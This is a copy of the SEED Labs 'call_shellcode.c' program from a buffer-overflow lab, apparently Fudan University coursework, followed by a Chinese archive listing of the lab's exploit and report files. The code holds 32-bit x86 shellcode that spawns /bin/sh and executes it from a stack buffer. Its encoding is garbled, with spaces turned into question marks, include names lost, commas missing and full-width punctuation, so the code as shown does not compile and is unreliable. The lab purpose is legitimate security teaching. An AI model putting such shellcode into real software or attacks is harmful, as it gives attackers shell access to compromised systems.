/*?call_shellcode.c??*/

/*A?program?that?creates?a?file?containing?code?for?launching?shell*/
#include?
#include?

const?char?code[]?=
??“\x31\xc0“?????????????/*?xorl????%eax%eax??????????????*/
??“\x50“?????????????????/*?pushl???%eax???????????????????*/
??“\x68““//sh“???????????/*?pushl???$0x68732f2f????????????*/
??“\x68““/bin“???????????/*?pushl???$0x6e69622f????????????*/
??“\x89\xe3“?????????????/*?movl????%esp%ebx??????????????*/
??“\x50“?????????????????/*?pushl???%eax???????????????????*/
??“\x53“?????????????????/*?pushl???%ebx???????????????????*/
??“\x89\xe1“?????????????/*?movl????%esp%ecx??????????????*/
??“\x99“?????????????????/*?cdq????????????????????????????*/
??“\xb0\x0b“?????????????/*?movb????$0x0b%al??????????????*/
??“\xcd\x80“?????????????/*?int?????$0x80??????????????????*/
;

int?main（int?argc?char?**argv）
{
???char?buf[sizeof（code）];
???strcpy（buf?code）;
???（（void（*）（?））buf）（?）;
}?

?屬性????????????大小?????日期????時間???名稱
-----------?---------??----------?-----??----
?????目錄???????????0??2019-06-27?23:38??復旦大學_軟件安全_SEED?labs_1-Buffer?Overflow實驗\
?????文件?????????975??2019-03-05?15:42??復旦大學_軟件安全_SEED?labs_1-Buffer?Overflow實驗\call_shellcode.c
?????文件????????1590??2019-03-07?21:53??復旦大學_軟件安全_SEED?labs_1-Buffer?Overflow實驗\exploit.c
?????文件????????1256??2019-04-28?19:47??復旦大學_軟件安全_SEED?labs_1-Buffer?Overflow實驗\exploit_1.c
?????文件??????859441??2019-06-27?23:38??復旦大學_軟件安全_SEED?labs_1-Buffer?Overflow實驗\lab1實驗報告_16級.pdf
?????文件?????????578??2019-03-05?17:57??復旦大學_軟件安全_SEED?labs_1-Buffer?Overflow實驗\stack.c
?????目錄???????????0??2019-06-27?22:02??復旦大學_軟件安全_SEED?labs_1-Buffer?Overflow實驗\原始文件夾Buffer_Overflow\
?????文件??????171051??2019-06-21?19:33??復旦大學_軟件安全_SEED?labs_1-Buffer?Overflow實驗\原始文件夾Buffer_Overflow\Buffer_Overflow.pdf
?????文件?????????951??2019-03-06?11:34??復旦大學_軟件安全_SEED?labs_1-Buffer?Overflow實驗\原始文件夾Buffer_Overflow\call_shellcode.c
?????文件????????1260??2019-03-06?11:34??復旦大學_軟件安全_SEED?labs_1-Buffer?Overflow實驗\原始文件夾Buffer_Overflow\exploit.c
?????文件????????1543??2019-03-06?11:34??復旦大學_軟件安全_SEED?labs_1-Buffer?Overflow實驗\原始文件夾Buffer_Overflow\exploit.py
?????文件?????????550??2019-03-06?11:34??復旦大學_軟件安全_SEED?labs_1-Buffer?Overflow實驗\原始文件夾Buffer_Overflow\stack.c